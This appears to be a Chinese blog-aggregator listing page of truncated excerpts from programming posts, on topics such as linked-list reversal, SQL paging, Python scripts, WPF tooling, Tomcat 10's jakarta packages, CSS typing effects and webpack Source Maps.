    一. 题目描述: 设计一个算法,将链表中所有结点的链接方向"原地"逆转,即要求仅利用原表的存储空间,换句话说,要求算法的空间复杂度为O(1). 二.算法设计 #include< ...

  7. 论Top与ROW_NUMBER读取第一页的效率问题

    10.29 前一段时间研究关于分页的问题,由于数据库属于百万级的,考虑了关于优化方面的问题.其中一个考虑是:第一页展现的频率肯定是最高的,所以我想第一页就使用Top N来读取. 这个想法本身是没有错, ...

  8. INNO 补丁制作技术, 打开 INNO 补丁制作方法的第一页

    INNO 补丁制作技术, 打开 INNO 补丁制作方法的第一页 作者:xin 日期:2005-09-23 字体大小: 小 中 大   VPatch 在 INNO 中的应用. VPatch 属于专为NS ...

  9. python使用get在百度搜索并保存第一页搜索结果

    python使用get在百度搜索并保存第一页搜索结果 作者:vpoet mail:vpoet_sir@163.com 注:随意copy,不用在意我的感受 #coding:utf-8 import ur ...

随机推荐

  1. 记vs2019 The view 'xxx' was not found.

    版本:Visual Studio 2019 16.8.2/16.8.4.net core 3.1 1.检测是否是拼写错误2.检查.csproj为文件中是否包含有下面的content remove(这种 ...

  2. python 生成Windows快捷方式

    此处以虚拟机镜像快捷方式为例 link_filepath:快捷方式的生成路径 win32_cmd:需要执行的应用程序 arg_str:exe的参数 快捷方式的目标:由win32_cmd + arg_s ...

  3. 基于WPF重复造轮子,写一款数据库文档管理工具(一)

    项目背景 公司业务历史悠久且复杂,数据库的表更是多而繁杂,每次基于老业务做功能开发都需要去翻以前的表和业务代码.需要理解旧的表的用途以及包含的字段的含义,表少还好说,但是表一多这就很浪费时间,而且留下 ...

  4. javascript打印对象函数

    //js对象打印函数 function writeObj(obj) { var description = ""; for (var i in obj) { var propert ...

  5. 提交代码的其他方式,不单单只有git

    1.  xftp提交代码至服务器,直接连接服务器(如果使用可以直接到官网下载一个试用版或者家庭教育版的,本人不推荐使用破解版毕竟是直接和公司服务器对接出问题不好交代) // https://www.n ...

  6. ZJOI2022选做

    \(ZJOI2022\) 众数 发现并不存在\(poly(log(n))\)的做法,那么尝试\(n\sqrt n\) 套路的按照出现次数分组,分为大于\(\sqrt n\)和小于\(\sqrt n\) ...

  7. 重构、插件化、性能提升 20 倍,Apache DolphinScheduler 2.0 alpha 发布亮点太多!

    点击上方 蓝字关注我们 社区的小伙伴们,好消息!经过 100 多位社区贡献者近 10 个月的共同努力,我们很高兴地宣布 Apache DolphinScheduler 2.0 alpha 发布.这是 ...

  8. html + css 实现无需 js 的打字效果

    以前要达到类似在电脑上打字的效果,需要 js+html.今天我将介绍一种新方法.本文主要介绍纯 html+css 实现打字效果,有一定的参考价值,大家可以学习一下.提供所有代码,可以直接使用. 一.原 ...

  9. Tomcat 10无法使用javax包

    可以导入新的 jakarta包 <dependencies><!--servlet依赖--> <dependency> <groupId>jakarta ...

  10. 第五十八篇:webpack的Source Map

    好家伙,Source Map没听过 1.什么是Source Map? 字面意义上来看应该是个好东西 Source Map 就是一个信息文件,里面储存着位置信息. 也就是说,Source Map 文件中 ...